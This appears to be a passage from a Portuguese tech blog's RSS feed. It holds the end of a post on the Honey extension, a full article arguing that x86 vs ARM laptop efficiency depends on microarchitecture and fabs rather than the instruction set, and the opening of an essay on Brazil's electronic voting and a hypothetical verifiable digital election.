<p>O Honey, como produto, é causa perdida. Mesmo se você não liga pra ética de quem rouba comissão de criador, lembra do que a Amazon avisou lá em 2020: é uma extensão com permissão de ler e modificar seus dados em qualquer site, que escaneia seus cookies, loga seu histórico de navegação com geolocalização, e que aplicava cupom sabidamente expirado só pra fazer volume. Desinstala. Não existe cupom que pague isso.</p>
<p>E o lado inspirador, porque tem um: um desenvolvedor neozelandês motivado, com um analisador de pacotes, uma conta de teste e paciência, fez o que redes bilionárias com times de compliance não fizeram em oito anos. A arma dele foi um arquivo JSON em texto claro e algumas dezenas de linhas de JavaScript que o próprio PayPal serviu pra quem quisesse olhar. A frase que fecha o quarto vídeo resume a arrogância que ele derrubou:</p>
<blockquote>
  <p><em>&ldquo;Quando eu erro, sou o MegaLag. Quando eu acerto, sou só um comentarista da indústria.&rdquo;</em></p>

</blockquote>
<p>Pois agora ele é testemunha técnica de fato num processo federal. Davi venceu essa rodada. E foi lindo de assistir.</p>
]]></content:encoded><category>seguranca</category><category>mercado-de-tecnologia</category></item><item><title>A Volta da Intel: ARM64 vs X86-64 não é como você imagina</title><link>https://www.akitaonrails.com/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</guid><pubDate>Tue, 11 Aug 2026 10:00:00 GMT</pubDate><description>&lt;p&gt;Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.</p>
<p>Minha tese: isso era verdade gerações atrás, quando decodificar x86 custava uma fatia relevante da pastilha (o <em>die</em>). Hoje o x86 é, na prática, uma camada de tradução pra micro-instruções — e o que separa Apple, Qualcomm e Intel nunca foi o conjunto de instruções. A crise da Intel foi gerencial e de fábrica, não arquitetural. E é por isso que a volta dela, agora, faz sentido.</p>
<h2>O que os reviews mostram<span class="hx:absolute hx:-mt-20" id="o-que-os-reviews-mostram"></span>
    <a href="#o-que-os-reviews-mostram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os laptops Panther Lake (Core Ultra série 3, lançados na CES em 5 de janeiro e à venda desde 27 de janeiro) entregam números que a era Meteor/Arrow Lake não sonhava. Começando por bateria — Dell XPS 14 2026 (Core Ultra X7 358H) contra MacBook Air 15 (M5):</p>
<table>
  <thead>
      <tr>
          <th>Teste de bateria</th>
          <th>Dell XPS 14 (Panther Lake)</th>
          <th>MacBook Air 15 (M5)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/43-hours-battery-life-Dell-XPS-14-2026-lasts-almost-3x-longer-vs-MacBook-Air-15-M5-in-web-browsing-test.1262947.0.html"target="_blank" rel="noopener">Hardware Canucks</a>, com VRR)</td>
          <td><strong>43 horas</strong></td>
          <td>14h30</td>
      </tr>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/Dell-XPS-14-2026-with-Intel-Panther-Lake-delivers-55-longer-battery-life-vs-2025-Dell-14-Premium.1225329.0.html"target="_blank" rel="noopener">Notebookcheck</a>, outra metodologia)</td>
          <td>16h45 (+55% vs modelo 2025)</td>
          <td>17h12</td>
      </tr>
      <tr>
          <td>YouTube 4K</td>
          <td><strong>20h21</strong></td>
          <td>14h</td>
      </tr>
      <tr>
          <td>Carga pesada (game)</td>
          <td>2h30</td>
          <td><strong>4h10</strong></td>
      </tr>
  </tbody>
</table>
<p>Leitura honesta: em uso leve, o Dell empata ou passa; em carga sustentada, a Apple continua imbatível. E o DHH publicou que seu XPS 14 rodando Omarchy Linux passa de 16 horas de uso real, com consumo em repouso de 1,4W — a Dell fez questão de <a href="https://www.dell.com/en-us/blog/year-of-the-linux-laptop-omarchy-on-xps/"target="_blank" rel="noopener">suporte a Linux desde o dia um</a>.</p>
<p>Na CPU, o topo de linha Core Ultra X9 388H contra o M5 (<a href="https://www.notebookcheck.net/Intel-Panther-Lake-Core-Ultra-X9-388H-performance-analysis-Outpaces-Arrow-Lake-and-exceeds-Zen-5-in-efficiency.1212583.0.html"target="_blank" rel="noopener">dados da Notebookcheck</a>):</p>
<table>
  <thead>
      <tr>
          <th>Métrica</th>
          <th>Core Ultra X9 388H</th>
          <th>Apple M5</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cinebench 2024 multi-core</td>
          <td>~1.162</td>
          <td>~1.172 (<strong>empate estatístico</strong>)</td>
      </tr>
      <tr>
          <td>Cinebench 2024 single-core</td>
          <td>~130</td>
          <td><strong>200</strong> (~30% à frente)</td>
      </tr>
      <tr>
          <td>Eficiência single-core</td>
          <td>5,17 pts/watt</td>
          <td><strong>13,1 pts/watt</strong></td>
      </tr>
      <tr>
          <td>Eficiência multi-core limitado a 20W</td>
          <td>24,6 pts/watt</td>
          <td>24,8 (M4)</td>
      </tr>
  </tbody>
</table>
<p>Single-core continua território da Apple, que faz o mesmo trabalho <strong>com um terço da energia</strong>. Mas em multi-core moderado, a Intel encostou. Contra a AMD (Ryzen AI 9 465) o 388H ganha em tudo; contra o Snapdragon X Elite de primeira geração também; o X2 Elite Extreme, que chegou em 2026, já devolveu a coroa de CPU Windows pra Qualcomm (+24% em single-core). Honestidade acima de tudo.</p>
<p>Na GPU, o veredito é mais misto que o marketing da Intel sugere:</p>
<table>
  <thead>
      <tr>
          <th>Confronto da Arc B390</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vs Radeon 890M (AMD)</td>
          <td><a href="https://videocardz.com/newz/intel-arc-b390-beats-amds-mainstream-igpus-and-nears-rtx-4050-level-performance-in-some-tests"target="_blank" rel="noopener">+63 a 80%</a></td>
      </tr>
      <tr>
          <td>vs RTX 4050 de laptop</td>
          <td>empate técnico</td>
      </tr>
      <tr>
          <td>vs Strix Halo (AMD) a 15-20W</td>
          <td><a href="https://www.notebookcheck.net/No-chance-for-AMD-Intel-Panther-Lake-Core-Ultra-X9-388H-trounces-AMD-Strix-Halo-at-low-power-signaling-handheld-gaming-domination-in-2026.1213244.0.html"target="_blank" rel="noopener">vence</a></td>
      </tr>
      <tr>
          <td>vs GPU do M5 base</td>
          <td>vence em desempenho, perde em fps/watt</td>
      </tr>
      <tr>
          <td>vs M5 Pro / M5 Max</td>
          <td><a href="https://nanoreview.net/en/gpu-compare/intel-arc-b390-vs-apple-m5-max-gpu-40-core"target="_blank" rel="noopener">17 contra 24 e 44</a> — sem chance</td>
      </tr>
  </tbody>
</table>
<p>O resumo da <a href="https://arstechnica.com/gadgets/2026/02/intel-panther-lake-core-ultra-review-intels-best-laptop-cpu-in-a-very-long-time/"target="_blank" rel="noopener">Ars Technica</a> é o mais justo: &ldquo;o melhor CPU de laptop da Intel em muito tempo&rdquo; — com a ressalva de que a Intel precisa provar que isso é o novo normal, não uma aberração.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> bateria de MacBook num laptop x86 aconteceu — em uso leve. Em single-core e sob carga pesada, a Apple ainda dita o ritmo.</p>

</blockquote>
<h2>A crença: &ldquo;pra ser eficiente tem que ser ARM&rdquo;<span class="hx:absolute hx:-mt-20" id="a-crença-pra-ser-eficiente-tem-que-ser-arm"></span>
    <a href="#a-cren%c3%a7a-pra-ser-eficiente-tem-que-ser-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo programador já ouviu a explicação: ARM tem conjunto de instruções simples, de tamanho fixo, elegante. O x86 é uma quimera acumulada desde 1978, com instruções de tamanho variável, modo real, segmentação, décadas de bagunça. &ldquo;Portanto&rdquo; ARM é inerentemente mais eficiente, e o caminho pra qualquer um chegar na eficiência da Apple ou da Qualcomm é migrar pra ARM64.</p>
<p>Tem verdade aí: o x86 carrega entulho histórico, e decodificar instrução de tamanho variável é objetivamente mais chato que decodificar instrução fixa de 32 bits. O erro está na conclusão. Essa diferença importava quando a lógica de decodificação ocupava uma fração significativa do chip. Isso faz muito tempo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a diferença entre ISAs importava quando a decodificação ocupava uma fração relevante da pastilha. Isso acabou há gerações.</p>

</blockquote>
<h2>O x86 virou camada de tradução em 1995<span class="hx:absolute hx:-mt-20" id="o-x86-virou-camada-de-tradução-em-1995"></span>
    <a href="#o-x86-virou-camada-de-tradu%c3%a7%c3%a3o-em-1995" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Pentium Pro, de novembro de 1995, já não executava x86 diretamente: ele traduzia cada instrução CISC pra micro-operações internas estilo RISC e executava essas. A AMD fez o mesmo com o K5 em 1996 (as &ldquo;ROPs&rdquo;). Ou seja: faz <strong>trinta anos</strong> que &ldquo;executar x86&rdquo; significa &ldquo;traduzir pra outra coisa e executar a outra coisa&rdquo;. O x86 é uma interface de compatibilidade, uma camada de tradução sobre um motor RISC. E os números mostram o quanto essa camada ficou barata:</p>
<table>
  <thead>
      <tr>
          <th>Medição</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Micro-ops por instrução x86 (Pentium Pro, dados da Intel)</td>
          <td>1,2 a 1,7</td>
      </tr>
      <tr>
          <td>Acerto do cache de micro-ops (desde Sandy Bridge, 2011)</td>
          <td>~80% em geral, ~100% em loops quentes</td>
      </tr>
      <tr>
          <td>Custo do decodificador no Haswell (<a href="https://research.aalto.fi/en/publications/empirical-study-of-the-power-consumption-of-the-x86-64-instructio/"target="_blank" rel="noopener">Hirki et al., 2016</a>)</td>
          <td>3 a 10% da potência do pacote, no pior caso</td>
      </tr>
      <tr>
          <td>Custo de desligar o cache de micro-ops (<a href="https://chipsandcheese.com/p/how-zen-2s-op-cache-affects-performance"target="_blank" rel="noopener">Zen 2, Chips and Cheese</a>)</td>
          <td>+4 a 10% no core, +0,5 a 6% no pacote</td>
      </tr>
  </tbody>
</table>
<p>Quando o cache de micro-ops acerta, o hardware de busca e decodificação fica literalmente desligado. A conclusão do estudo da Hirki é seca: &ldquo;o conjunto de instruções x86-64 não é um obstáculo relevante pra produzir um processador energeticamente eficiente&rdquo;. E o estudo acadêmico definitivo — <a href="https://research.cs.wisc.edu/vertical/papers/2013/hpca13-isa-power-struggles.pdf"target="_blank" rel="noopener">Blem, Menon e Sankaralingam, HPCA 2013</a>, medindo ARM contra x86 de verdade — concluiu: contagem e composição de instruções são independentes do ISA em primeira ordem, as diferenças de performance vêm de microarquitetura, e &ldquo;o consumo de energia é, novamente, independente do ISA&rdquo;.</p>
<p>O Jim Keller — o cara que desenhou o Zen da AMD e os chips A4/A5 da Apple, alguém que morou nos dois lados — foi ainda mais direto numa entrevista à AnandTech: a decodificação de tamanho variável &ldquo;não está dominando a pastilha, então não importa tanto&rdquo;. O que limita performance hoje, segundo ele, é previsibilidade de branch e localidade de dados.</p>
<p>E tem o detalhe que derruba o mito de vez: ARM moderno faz a mesma coisa. O Cortex-A77 tem cache de micro-ops. A Samsung adicionou um no Exynos M5 explicitamente pra economizar energia de busca e decodificação. O A64FX da Fujitsu — o ARM dentro do supercomputador Fugaku — decodifica a instrução SVE <code>FADDA</code> em <strong>63 micro-ops</strong>. Sessenta e três. A fantasia do &ldquo;ARM é uma instrução por ciclo, simples e pura&rdquo; não existe mais em nenhum ARM de alto desempenho.</p>
<p>Uma nuance honesta antes de seguir: o comprimento variável do x86 realmente dificulta fazer decodificadores muito largos — a Apple decodifica <strong>até o dobro</strong> de instruções por ciclo que um x86. É uma dificuldade de engenharia real. Só que ela se paga em área de lógica, que é barata, e não em consumo proporcional ao trabalho — que é o que define bateria.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> faz trinta anos que nenhum x86 executa x86 — tudo vira micro-operação estilo RISC. O ISA virou interface de compatibilidade.</p>

</blockquote>
<h2>A conta dos transistores<span class="hx:absolute hx:-mt-20" id="a-conta-dos-transistores"></span>
    <a href="#a-conta-dos-transistores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender por que o peso da decodificação evaporou, olha a evolução:</p>
<table>
  <thead>
      <tr>
          <th>Ano</th>
          <th>Chip</th>
          <th>Processo</th>
          <th>Transistores</th>
          <th>Marco</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2000</td>
          <td>Pentium 4 Willamette</td>
          <td>180nm</td>
          <td>42 milhões</td>
          <td>a era do clock subindo</td>
      </tr>
      <tr>
          <td>2006</td>
          <td>Core 2 Duo</td>
          <td>65nm</td>
          <td>291 milhões</td>
          <td>o pivô multicore pós-Tejas</td>
      </tr>
      <tr>
          <td>2007</td>
          <td>Penryn</td>
          <td>45nm</td>
          <td>410 milhões</td>
          <td>primeiro high-k metal gate da indústria</td>
      </tr>
      <tr>
          <td>2011</td>
          <td>Ivy Bridge</td>
          <td>22nm</td>
          <td>1,4 bilhão</td>
          <td>FinFET 3D, -50% de potência na mesma performance</td>
      </tr>
  </tbody>
</table>
<p>Em 2000, cada bloco de lógica era um orçamento apertado, e a bagunça do x86 custava caro. Conforme os transistores ficaram infinitos pra todo fim prático, o custo fixo do decodificador virou troco. No meio do caminho, duas mudanças importantes:</p>
<ul>
<li><strong>A escala de Dennard morreu por volta de 2005.</strong> Vazamento de corrente impediu que os clocks continuassem subindo, a Intel cancelou o Tejas em 2004 e o mundo virou multicore. Clock parou nos 1-4GHz e nunca mais saiu dali.</li>
<li><strong>A lei de Moore virou economia, não física.</strong> O custo por transistor parou de cair no 28nm: uma fab de ponta hoje custa US$20 a 30 bilhões, e uma máquina High-NA EUV da ASML custa US$350 milhões.</li>
</ul>
<p>E o que ocupa pastilha e consome energia num chip moderno? Caches gigantes, branch predictors, dezenas de execution ports, GPU, NPU, motores de mídia. O decodificador de x86, na fila do pão, nem aparece.</p>
<p>E a história dá a prova empírica perfeita: de 2015 a 2021, a Intel ficou presa em 14nm — Skylake e seus derivados, seis anos de processo estagnado por falha de fábrica. Mesmo assim, esses cores velhos em 14nm trocavam soco com o Zen 2 da AMD, fabricado em 7nm pela TSMC. Se o x86 fosse o problema, isso seria impossível. O gargalo era a fábrica. Era a fábrica o tempo todo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> seis anos presa em 14nm, e mesmo assim a Intel competia com chips em 7nm da TSMC. O gargalo era a fábrica, nunca o ISA.</p>

</blockquote>
<h2>O que realmente faz a Apple ser eficiente<span class="hx:absolute hx:-mt-20" id="o-que-realmente-faz-a-apple-ser-eficiente"></span>
    <a href="#o-que-realmente-faz-a-apple-ser-eficiente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O M1 não é eficiente &ldquo;porque é ARM&rdquo;. A Apple tem licença arquitetural da ARM desde o A6, em 2012: ela desenha os próprios cores do zero e só o conjunto de instruções é ARM. Quando a AnandTech dissecou o core Firestorm do M1, o contraste com o x86 contemporâneo era de escolhas de engenharia, não de instruções:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Apple Firestorm (M1, 2020)</th>
          <th>Intel Sunny Cove (2019)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Decodificação por ciclo</td>
          <td>8</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Reorder buffer</td>
          <td>~630 entradas</td>
          <td>352 entradas</td>
      </tr>
      <tr>
          <td>Cache L1 de instruções</td>
          <td>192KB</td>
          <td>32KB</td>
      </tr>
  </tbody>
</table>
<p>Na prática: o dobro de decodificação por ciclo, quase o dobro de buffer de reordenação, <strong>seis vezes</strong> o cache de instruções. Some a isso a memória unificada soldada no pacote e o processo TSMC de última geração. É microarquitetura agressiva, cache enorme, integração vertical e processo de ponta — tudo caro, tudo deliberado, e nada disso vem de graça com o ISA.</p>
<p>Aliás, a recíproca também é verdadeira: dá pra fazer ARM ruim. O mercado está cheio de ARM medíocre. Eficiência é escolha de engenharia e de processo, não certidão de nascença do ISA.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o M1 é eficiente por microarquitetura, cache, processo e integração vertical — não &ldquo;porque é ARM&rdquo;.</p>

</blockquote>
<h2>Suas instruções favoritas não são x86 nem ARM<span class="hx:absolute hx:-mt-20" id="suas-instruções-favoritas-não-são-x86-nem-arm"></span>
    <a href="#suas-instru%c3%a7%c3%b5es-favoritas-n%c3%a3o-s%c3%a3o-x86-nem-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E tem outra coisa que quase ninguém menciona nesse debate: boa parte do que uma CPU moderna executa não pertence ao conjunto &ldquo;clássico&rdquo; de nenhum dos dois lados. Olha o que roda fora dele:</p>
<ul>
<li><strong>Vídeo.</strong> Na Intel, a decodificação fica no Quick Sync, hardware de função fixa que existe desde Sandy Bridge — um bloco separado que nada tem a ver com o legado x86. É por causa dele que a Frandroid mediu o Snapdragon X2 <strong>58% mais lento</strong> que o Panther Lake em exportação de vídeo.</li>
<li><strong>Criptografia.</strong> AES-NI existe desde 2010, extensões de SHA desde 2016 — instruções dedicadas, acrescentadas décadas depois do &ldquo;x86 velho&rdquo;.</li>
<li><strong>IA e matrizes.</strong> AVX-512, depois AVX10, e o AMX, um acelerador de tiles de matriz. O lado ARM tem os equivalentes: NEON, SVE, SME.</li>
</ul>
<p>A Chips and Cheese fez o experimento perfeito: no mesmo encode HEVC 4K, um Ampere ARM levou <strong>mais de doze vezes</strong> o tempo de um Zen 2 com o ffmpeg padrão; usando assembly NEON, o tempo do ARM caiu mais de 60%. A diferença nunca foi ARM contra x86 — era extensão vetorial bem usada contra extensão vetorial ignorada. No mundo real, o trabalho pesado mora nas extensões e nos aceleradores, e esses são ortogonais ao ISA base.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o trabalho pesado moderno — vídeo, cripto, IA — roda em extensões e aceleradores dedicados, ortogonais ao ISA base.</p>

</blockquote>
<h2>A queda foi gerencial, não arquitetural<span class="hx:absolute hx:-mt-20" id="a-queda-foi-gerencial-não-arquitetural"></span>
    <a href="#a-queda-foi-gerencial-n%c3%a3o-arquitetural" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui a parte que me convence de vez. Olha a linha do tempo e tenta achar &ldquo;o x86 era uma limitação fundamental&rdquo; em algum ponto:</p>
<ul>
<li><strong>2005-2006</strong>: a Intel recusa fabricar o chip do iPhone — o Otellini admitiu o arrependimento em entrevista de saída à The Atlantic: &ldquo;o mundo teria sido muito diferente&rdquo;. E o detalhe tragicômico: a Intel <strong>tinha</strong> uma divisão ARM (a XScale) — e vendeu pra Marvell em 2006 por US$600 milhões. Não foi falta de tecnologia; foi falta de visão.</li>
<li><strong>2013-2021</strong>: três CEOs. Krzanich sai em 2018 por escândalo interno. Entra Bob Swan, um CFO de finanças, pra comandar uma empresa de engenharia no momento mais delicado da história dela.</li>
<li><strong>2018-2020</strong>: o 10nm vira piada (Cannon Lake só em tiragem limitada) e em julho de 2020 a Intel anuncia atraso no 7nm — a ação cai 16% num dia. Em abril de 2019, abandona o modem 5G de smartphone; a Apple compra o negócio por US$1 bilhão. Em novembro de 2020, o M1.</li>
<li><strong>2021-2024</strong>: Gelsinger volta com o plano IDM 2.0, &ldquo;cinco nós em quatro anos&rdquo;. Em dezembro de 2024 é empurrado pra &ldquo;aposentadoria&rdquo; — ultimato do conselho, segundo Reuters e Bloomberg. O ano fecha com prejuízo de <strong>US$18,8 bilhões</strong>, 15 mil demissões, dividendo suspenso e a Intel expulsa do Dow Jones depois de 25 anos — substituída pela Nvidia, que naquele momento valia <strong>mais de 30 vezes</strong> a Intel. Até outubro de 2025, a conta de demissões acumuladas chegava a 35.500.</li>
</ul>
<p>Nada nessa lista é arquitetura. É produto perdido, fab atrasada, decisão errada atrás de decisão errada. O x86 estava lá, competente, enquanto a empresa desmontava ao redor dele.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> iPhone recusado, XScale vendida, 10nm quebrado, três CEOs, US$18,8 bilhões de prejuízo — a queda da Intel foi decisão atrás de decisão, não limitação do x86.</p>

</blockquote>
<h2>O resgate improvável<span class="hx:absolute hx:-mt-20" id="o-resgate-improvável"></span>
    <a href="#o-resgate-improv%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E aí 2025 acontece. Lip-Bu Tan assume em março. Em agosto, Trump exige a cabeça dele no Truth Social por laços com a China — e poucos dias depois, após uma reunião na Casa Branca, vira fã do cara. No dia 22 de agosto, o governo americano <a href="https://newsroom.intel.com/corporate/intel-and-trump-administration-reach-historic-agreement"target="_blank" rel="noopener">compra 9,9% da Intel</a>: 433,3 milhões de ações a US$20,47, US$8,9 bilhões no total, convertendo subsídios do CHIPS Act em participação acionária, sem assento no conselho. A SoftBank coloca <a href="https://newsroom.intel.com/corporate/softbank-group-and-intel-corporation-sign-2b-investment-agreement"target="_blank" rel="noopener">US$2 bilhões</a>. E a cereja surreal: a <strong>Nvidia</strong> — a mesma que a expulsou do Dow — <a href="http://nvidianews.nvidia.com/news/nvidia-and-intel-to-develop-ai-infrastructure-and-personal-computing-products"target="_blank" rel="noopener">investe US$5 bilhões</a> e fecha parceria pra colocar chiplets RTX em CPUs x86.</p>
<p>O resultado financeiro começou a aparecer: Q1 2026 com receita de US$13,6 bilhões (+7% ao ano), Q2 com US$16,1 bilhões (+25%), sétimo trimestre seguido acima das projeções. A ação que o governo pagou US$20,47 chegou a <strong>mais de seis vezes</strong> esse valor em maio, quando a Bloomberg noticiou conversas pra Intel fabricar chips da Apple — reportagem preliminar, produção a anos de distância, mas o mercado pirou. Mesmo depois de esfriar, a posição do governo americano segue valendo <strong>cinco vezes</strong> o que custou. O contribuinte dos EUA é, hoje, sócio lucrativo da Intel. Vai entender.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> governo dos EUA, SoftBank e Nvidia como sócios, e a ação cinco vezes acima do preço que o governo pagou — a Intel virou causa nacional, e o mercado comprou a volta.</p>

</blockquote>
<h2>A volta, com os pés no chão<span class="hx:absolute hx:-mt-20" id="a-volta-com-os-pés-no-chão"></span>
    <a href="#a-volta-com-os-p%c3%a9s-no-ch%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Panther Lake é o primeiro produto grande do 18A — RibbonFET (transistor gate-all-around) mais PowerVia (alimentação pelo verso do wafer), saindo da Fab 52 em Chandler, Arizona. Tem ironia deliciosa aqui: o tile de GPU de 12 núcleos do topo de linha ainda é fabricado pela TSMC. E o aproveitamento do 18A (a fração de chips bons por wafer), segundo a Tom&rsquo;s Hardware, só deve chegar ao padrão da indústria em 2027 — a rampa é lenta e a Ars Technica acerta na dúvida: é o novo normal ou uma aberração?</p>
<p>Mas o ponto deste artigo não é torcida organizada. É que o Panther Lake encerra empiricamente um debate que era teológico. Um x86-64 em processo competitivo entrega bateria de MacBook, empata multi-core com o M5 e ganha da concorrência Windows em vários cenários. Se o ISA fosse o fator decisivo, isso não aconteceria nunca, em nenhum processo. O que derrubou a Intel foi gestão; o que a traz de volta é fab e foco; e o que separa Apple, Qualcomm, AMD e Intel é microarquitetura, cache, processo e integração — exatamente como o Jim Keller e a literatura sempre disseram.</p>
<p>Torço pela volta dela. Não por nostalgia de quem montou PC com Pentium, mas porque o mercado de laptops eficientes estava virando duopólio confortável — e duopólio confortável é inimigo de preço e de inovação. Que a briga continue.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o Panther Lake encerra um debate teológico: x86 competitivo existe quando a fábrica é competitiva. O jogo nunca foi sobre instruções.</p>

</blockquote>
]]></content:encoded><category>hardware</category><category>reviews</category></item><item><title>Por que uma eleição digital perfeita ainda não seria viável?</title><link>https://www.akitaonrails.com/2026/08/07/por-que-uma-eleicao-digital-perfeita-ainda-nao-seria-viavel/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/07/por-que-uma-eleicao-digital-perfeita-ainda-nao-seria-viavel/</guid><pubDate>Fri, 07 Aug 2026 10:00:00 GMT</pubDate><description>&lt;p&gt;Toda eleição no Brasil vira a mesma novela: metade do país não confia no resultado. E, diferente da maioria dos países, aqui não tem o que recontar. O Brasil é um dos poucos países do mundo com eleição &lt;strong&gt;100% digital&lt;/strong&gt;: sem recibo de papel, sem cédula física, sem possibilidade de recontagem independente. O voto entra numa urna eletrônica, vira um número dentro de um software fechado e sai um boletim. Ou você confia no TSE, ou não tem o que fazer.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Toda eleição no Brasil vira a mesma novela: metade do país não confia no resultado. E, diferente da maioria dos países, aqui não tem o que recontar. O Brasil é um dos poucos países do mundo com eleição <strong>100% digital</strong>: sem recibo de papel, sem cédula física, sem possibilidade de recontagem independente. O voto entra numa urna eletrônica, vira um número dentro de um software fechado e sai um boletim. Ou você confia no TSE, ou não tem o que fazer.</p>
<p>Recentemente o TSE fez um teatrinho: <a href="https://www.tse.jus.br/comunicacao/noticias/2026/Junho/eleicoes-2026-tse-abre-urna-eletronica-para-tecnicos-da-sociedade-brasileira-de-computacao"target="_blank" rel="noopener">&ldquo;abriu a urna&rdquo;</a> pra técnicos da Sociedade Brasileira de Computação verem os componentes. Isso é obviamente inútil. Mostrar placa-mãe, processador e memória não prova que não existe malware. Hardware é só o palco; a peça acontece no software. E auditar o software é justamente o que é difícil, restrito, cheio de ritual e janela curta — o que derrota completamente o propósito de transparência pública. Uma auditoria que só meia dúzia de credenciados consegue fazer, sob supervisão, por alguns dias, não é transparência. É encenação.</p>
<p>E pra deixar claro: eu não defendo o sistema atual, nem tenho expectativa nenhuma nele. Como resumi <a href="https://x.com/AkitaOnRails/status/2084669984555331706"target="_blank" rel="noopener">neste tweet</a>: a urna é só uma caixa, um PC velho. Mesmo que o software fosse perfeito, não faria diferença — os processos ao redor continuam secretos, feitos debaixo dos panos. A urna é cortina de fumaça. Com ou sem alternativa, eu não ligo pra ela.</p>
<p>Muita gente conclui daí que o certo seria ter eleição digital, mas com um sistema diferente. Esse artigo é um exercício de ciência da computação: como seria um sistema hipoteticamente perfeito? E, mais importante, a conclusão final: <strong>por que mesmo esse sistema perfeito não seria uma opção viável.</strong></p>
<p>Uma coisa que vale enfatizar antes de começar: o sistema que vou descrever não exigiria <strong>nenhum</strong> segredo do governo. Nenhum componente secreto, nenhum processo secreto, nenhuma sala trancada com credenciado vigiando. Tudo — o código, os dados, a estrutura inteira — poderia ser 100% aberto, acessível pra qualquer pessoa, sem restrição nenhuma. E ainda assim seria possível provar, matematicamente, que fraudar é impossível. É exatamente o oposto do modelo atual, em que a confiança nasce do sigilo.</p>
<blockquote>
  <p>Sem paciência pra código e matemática no meio do caminho? <a href="#e-por-que-isso-nunca-funcionaria">Pule direto pra parte em que explico por que isso não funcionaria</a>. E no fim do artigo, três apêndices: <a href="#ap%c3%aandice-1-afinal-o-sistema-atual-%c3%a9-audit%c3%a1vel">o sistema atual é auditável?</a>, <a href="#ap%c3%aandice-2-skin-in-the-game--recompensar-quem-verifica">como dar incentivo pra quem verifica o voto</a> e <a href="#ap%c3%aandice-3-por-que-conhecimento-zero-%c3%a9-t%c3%a3o-dif%c3%adcil-de-engolir">por que &ldquo;conhecimento zero&rdquo; é tão difícil de engolir</a>.</p>

</blockquote>
<h2>&ldquo;A urna é segura porque não está na internet&rdquo;<span class="hx:absolute hx:-mt-20" id="a-urna-é-segura-porque-não-está-na-internet"></span>
    <a href="#a-urna-%c3%a9-segura-porque-n%c3%a3o-est%c3%a1-na-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo defensor do sistema atual saca esse argumento mais cedo ou mais tarde: a urna não está conectada à internet, logo não pode ser hackeada de fora. Tecnicamente é verdade. E é completamente irrelevante.</p>
<p>Primeiro, porque isolamento não diz nada sobre o que o software faz. Uma urna offline pode trocar votos do mesmo jeito — você só não tem como assistir ela fazendo isso. E malware não precisa de rede pra chegar: pode vir de fábrica, numa atualização, na cadeia de suprimentos, de um técnico com acesso físico. O Stuxnet, o worm mais famoso da história, atravessou o air gap das centrífugas iranianas via pendrive. Air gap é obstáculo, não é prova de honestidade. E repare: o dado da urna precisa sair dela de algum jeito no fim do dia, em mídia física transportada ou transmissão posterior. &ldquo;Não está na internet&rdquo; é uma meia-verdade logística.</p>
<p>Segundo, e mais importante: esse argumento revela o modelo mental errado. A segurança do sistema atual nasce de <strong>custódia física</strong> — lacres, salas trancadas, credenciados, rituais. Ou seja, mais uma vez, de confiar em gente e em processo que você não vê.</p>
<p>No sistema que vou descrever, a urna poderia estar <strong>ligada direto na internet</strong>, publicando cada voto na árvore pública em tempo real, e ainda assim seria impossível fraudar. Não porque a rede seja segura, mas porque ninguém precisa confiar na urna:</p>
<ul>
<li>O que ela publica são compromissos opacos: mesmo transmitindo tudo ao vivo, não existe voto pra vazar nos dados publicados.</li>
<li>Cada compromisso carrega uma prova matemática de validade: a urna não consegue inventar voto inválido.</li>
<li>A árvore é pública e replicada por observadores independentes: nada do que foi publicado pode ser alterado depois sem quebrar os hashes.</li>
<li>E se a urna trocar seu voto na hora, o desafio de Benaloh pega (é a Peça 4, mais adiante): ela não sabe se você vai confirmar ou auditar.</li>
</ul>
